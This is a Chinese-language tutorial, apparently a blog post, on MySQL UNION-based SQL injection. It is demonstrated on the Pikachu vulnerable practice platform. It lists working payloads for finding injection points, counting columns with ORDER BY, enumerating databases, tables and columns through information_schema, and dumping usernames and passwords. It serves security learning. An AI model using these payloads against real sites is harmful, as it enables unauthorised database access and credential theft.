目录
SQL注入的一库三表
information_schema
元数据数据库 (数据库名, 表名, 字段名)
1.元数据
2.默认情况下,所有的用户都可以进行访问
结构
information_schema
|
|
/____schemata
| /____schema_name 库名
|
/____tables
| /____table_name 表名
| /____table_schema 表所属的库名
|
/____columns
/____column_name 字段名
/____table_name 字段所属表名
/____table_schema 字段所属表所属库的名字
union联合查询注入注意事项
union内部的 select语句必须拥有相同数量的列。列也必须拥有相似的数据类型,结果会去掉重复的记录。当union之前的select语句结果集为空 时,查询结果将由union后的select语句控制。
用法举例: select username,password from user where id=1 union select 字段1,字段2 from 表名 联合查询的字段数需要和主查询一致
MySQL函数利用
1、常用函数
user()
database()
@@version
session_user()
@@basedir
@@datadir
@@version_compile_os
2、连接字符串函数
前提:
concat(str1 ,str2)
concat_ws(separator, str1,str2.....)
group_concat(str1 ,str2......)
联合查询注入union
利用前提
页面上有显示位,用于显示我们想要的结果
优点:方便、快捷、易于利用
缺点:需要显示位
联合注入的过程
1、判断注入点
2、判断是整型还是字符型
3、判断查询列数
4、判断显示位
5、获取所有数据库名
6、获取数据库所有表名
7、获取字段名
8、获取字段中的数据
1、先判断有没有注入点
判断常用:
and //and是在知道用户名或id时使用
or //是在不知道的情况下使用
1,数字型注入点判断手法:
1 and 1=1 //正常显示
1 and 1=2 //空页面或则报错
2,字符型注入点判断手法:
1' and 1=1 -- - //正常显示
1' and 1=2 -- - //空页面
注:
判断是整型还是字符型在之前的文章中有介绍,在这里就略过
3、判断有多少列
判断原有查询语句的列数通常基于布尔型盲注的思想来进行,通常使用order by 语句来进行,order by 语句用于对结果集进行排序,在select 语句末尾增加order by N 表示基于第N列进行排序;
判断语句:
1' order by 1,2,3,N--+
一直判断到报错
现在我们是pikachu漏洞测试平台做测试
输入order by 2测试

继续输入order by 3测试

页面返回错误,说明没有第三列,所以只有两列信息
4、判断显示位
判断语句:
1' union select 1,2 --+
一直判断到报错
显示数据库的基本信息
1' union select 1,database() --+
这里使用 “1,” 是因为在前面的查询语句中有两列信息uid和email,为了保证union内部的 select语句必须拥有相同数量的列,所以加入一列。

5、显示有哪些数据库
1' union select 1,schema_name from information_schema.schemata --+

使用group_concat()函数使数据库信息呈现在一行中
1' union select 1,group_concat(schema_name) from information_schema.schemata --+

6、显示数据库中有哪些表
以pikachu数据库为例看库中的表
1' union select 1,table_name from information_schema.tables where table_schema="pikachu" --+

7、显示表中有哪些字段(以users为例)
1' union select 1,column_name from information_schema.columns where table_schema="pikachu" and table_name="users" --+

8、获取字段
1' union select username,password from users --+

本文详细探讨了SQL注入中的联合查询注入(Union)技术,包括利用前提、注入过程、注意事项以及如何通过MySQL函数获取信息。通过判断注入点、确定列数、显示位等步骤,逐步揭示如何从数据库中提取数据。同时,文章提到了常用MySQL函数如user(), database()等在联合查询注入中的应用。"
102933152,8731066,Spring Boot初始化数据库教程,"['Spring框架', '数据库管理', 'Java开发', '初始化脚本', '配置']

931

被折叠的 条评论
为什么被折叠?



